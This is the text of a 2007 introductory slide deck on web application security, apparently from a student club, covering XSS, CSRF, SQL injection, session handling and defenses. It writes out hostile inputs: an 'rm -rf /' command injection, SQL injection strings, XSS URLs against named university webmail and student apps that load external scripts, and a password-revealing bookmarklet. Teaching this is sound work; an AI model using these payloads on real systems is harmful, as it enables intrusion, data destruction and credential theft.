Intro to Web Application Security

Information Assurance Club 2007 Understanding Web Application Security

What is Application Security? Application Security encompasses measures taken to prevent exceptions in the security policy of an application or the underlying system vulnerabilities through flaws in the design, development, or deployment of the application. [Wikipedia] Make sure code Properly uses security mechanisms Has no design or implementation flaws

Application Layer VS Network Layer Application Layer Attackers send attacks inside valid HTTP requests Custom code is manipulated to do something it shouldn’t Security requires software development expertise, not signatures Network Layer Firewall, hardening, patches, IDS, IPS SSL cannot detect or prevent attacks inside HTTP requests Security based on signature database

Test Your Hacking Knowledge What might happen in an application if an attacker… Adds “; rm –rf /” to a menu selection passed to a system call Replaces the unitprice hidden field with -500 Sends 1000000 ‘A’ characters to a login script Figures out the encoding used for cookies Disables all client side Javascript for form validation Adds to the end of an account ID parameter “%27%20OR%201%3d1” Sends 1,000 HTTP requests per second to the search field for an hour

Why Should I Care? How likely is a successful web application attack? Anyone in the world, including insiders, can send an HTTP request to your server Vulnerabilities are highly prevalent Easy to exploit without special tools or knowledge Little chance of being detected Hundreds of thousands of developers with no security background or training Consequences? Corruption or disclosure of database contents Root access to web and application servers Loss of authentication and access control for users Defacement Loss of use / availability Secondary attacks from your site Application security is just as important as Network Security

Attacks Shift Towards Application Layer 75% of All Attacks on Information Security Are Directed to the Web Application Layer 2/3 of All Web Applications Are Vulnerable -Gartner

How Do Attackers Do It? Proxies Browser plugins Vulnerability scanning tools Many attacks can be launched using only a browser and text editor

HyperText Transfer Protocol (HTTP) GET /index.html HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Date: Mon, 23 April 2007 22:38:34 GMT Server: Apache/1.3.27 (Unix) (Red-Hat/Linux) Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT Etag: "3f80f-1b6-3e1cb03b" Accept-Ranges: bytes Content-Length: 438 Connection: close Content-Type: text/html; charset=UTF-8

HTTPS Just encryption Eavesdropping Protect Passwords Gmail Bypass IPS Doesn't prevent hacking

Transparent Proxy http://fiddler2.com/sandbox/ Fiddler is a HTTP Debugging Proxy which logs all HTTP traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP Traffic, set breakpoints, and "fiddle" with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language. Fiddler is freeware and can debug traffic from virtually any application, including Internet Explorer, Mozilla Firefox, Opera, and thousands more. Others: Paros, Web Scarab, etc

Authentication Common Problems Never expire (facebook) Not protected by SSL Easy to forge (cookies) Replay attacks Re-using cookies Preventable with encrypted date/time stamp

Authentication Best Practices Ensure HTTPS is being used Login failures should NOT indicate whether username or password failed Strong password policy (don’t store in clear text) Use brute force countermeasures CAPTCHA Time delay

State Problems HTTP is a stateless protocol Session ID tells client browser who you are Server maintains a map of session objects Hijacking techniques Guessing XSS Not using HTTPS Session ID exposed using URL-rewriting

Session Best Practices Single sign on/off Seemingly random and at least 20 bytes Timeout Use SSL Avoid URL-rewriting (disclosure risk)

Access Control Restricting access Who? What can they see? What can they do? Should exist in UI, BLL, and DAL

Broken Access Control Attacker notices URL indicating role / guest /getAccountInfo They modify it to another directory (role) / admin /getAccountInfo / auth /getAccountInfo Attacker views more accounts than just their own

Cross-Site Scripting (XSS) Web application vulnerability that allows an attacker to execute a malicious script in a victim's web browser How it works Web browsers support scripting languages like Javascript that allow web pages to perform logic If an attacker can get a web server to send their malicious script to a victim, the script executes as if it came from that web site Consequences Steal session cookies Deface websites Information disclosure

XSS Vulnerability Pattern Web app vulnerable to XSS if Attacker can provide malicious user input Site puts user input into a response Search, form field, message board, etc Site doesn't properly validate or sanitize that user input Unless developer is familiar with XSS, it's very likely that proper input validation is not being done

Two Types of XSS Stored XSS Dangerous user input is stored on the site and displayed at some later time Typically found in message boards, guest books, surveys Like leaving a land mine for a victim to trip across on a vulnerable site Reflected XSS Dangerous user input is immediately sent back to the user that submitted it Possibly a malicious link with an embedded script Typically found in search fields, error pages, etc

Cross-site Scripting - Tricks Scripts can only access data from their own site Enforced by the browser “sandbox” SOP Trick: Use an anonymous proxy Scripts can't access the OS or file system Trick: Wscript http://my.3c.ist.psu.edu/rrr174/email.js The browser isn't doing anything abnormal Cheat Sheet: http://ha.ckers.org/xss.html Demos: http://www.attacklabs.com

XSS Real World Example MySpace XSS Worm – Oct 2005 AKA Samy worm Introduced an XSS attack into his own profile When anyone viewed his profile, the attack: added Samy as a 'friend' to that user's profile and infected them with the same XSS attack in their own profile Then, when anyone views the infected profile, starts all over... The exploit: Used 'java\nscript' since 'javascript' was filtered out, String.fromCharCode(34) to generate a double quote, etc. Used XmlHttpRequest (AJAX), so does Yamanner worm 10 hrs – 560 friends, 13 hrs – 6400 friends, 18 hrs - 1,000,000 friends, 19 hrs - entire site down, 22 hrs – site back up again

XSS– Input Filters Many applications attempt XSS protection with filters Convert < and > to &lt and &gt Strip out HTML tags Eliminate <script> tags Strip out Javascript .NET provides XSS protection by default <%@ Page ValidateRequest=”true” %> Anti-Cross Site Scripting Library http://msdn2.microsoft.com/en-us/security/aa973814.aspx Better to white list input instead of black list VALIDATE USER INPUT!!! TRUST NOTHING FROM THE CLIENT!!!

PSU Webmail XSS https://webmaillite.psu.edu/webmail/inbox.cgi?mailbox = https://my.3c.ist.psu.edu/rrr174/xss.js popMessage param (cookie) Now what? Hijack web access session ID Steal email Go phishing Do anything the user can do

View Passwords javascript:(function(){var s,F,j,f,i; s = %22%22; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == %22password%22) s += f[i].value + %22\n%22; } } if (s) alert(%22Passwords in forms on this page:\n\n%22 + s); else alert(%22There are no passwords in forms on this page.%22);})();

CSRF (Sea-Surf) Cross-site request forgery, also known as one click attack or session riding Digg and Amazon have been targets Prevention Include a secret, user-specific token in forms that is verified in addition to the cookie Users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session

Injection Overview Many applications invoke interpreters SQL OS command shell (cmd.exe, perl) Sendmail, LDAP, XPath, XSLT Interpreters take commands and data and execute the instructions Attacker can send malicious data or commands into your application tricking it into behaving differently Frequently interpreters run as root or administrator

SQL Injection – Example Get rows from table based on user provided parameter SELECT * FROM users WHERE SSN='” + ssn + “'” SSN goes from user to web application to database Never validated Attacker sends 123456789' OR '1'='1 Application builds a query SELECT * FROM users WHERE SSN='123456789' OR '1'='1' Returns every user in the database Blind SQL Injection: http://www.0x90.org/releases/absinthe

Prevent SQL Injection Validate user input Stored procedures Parameterized queries Connection strings (Access Control) Prevent DELETE and DROP queries

Injection Demo SQL Injection: Almost every IST student’s web application is vulnerable https://my.3c.ist.psu.edu/jeb5010/customer.php?Name ='%20OR%201=1-- Remote Code Execution: http://scripts.cac.psu.edu/pxn126/finger.cgi

Conclusion Be aware of security threats Train yourself Assess security at every step of the SDLC Define unacceptable risks Then implement policy Ensure accountability Consider commercial solutions (Get help)

Where can I learn more? http://www.owasp.org/index.php/OWASP_Top_Ten_Project http://en.wikipedia.org/wiki/Category:Web_security_exploits http://www.spidynamics.com/spilabs/index.html http://ha.ckers.org http://johnny.ihackstuff.com/ghdb.php http://www.foundstone.com/resources/freetools.htm http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project http://blogged-on.de/xss http://leastprivilege.com Download this presentation http://my.3c.ist.psu.edu/rrr174/webappsec.ppt

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Intro to Web Application Security

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Intro to Web Application Security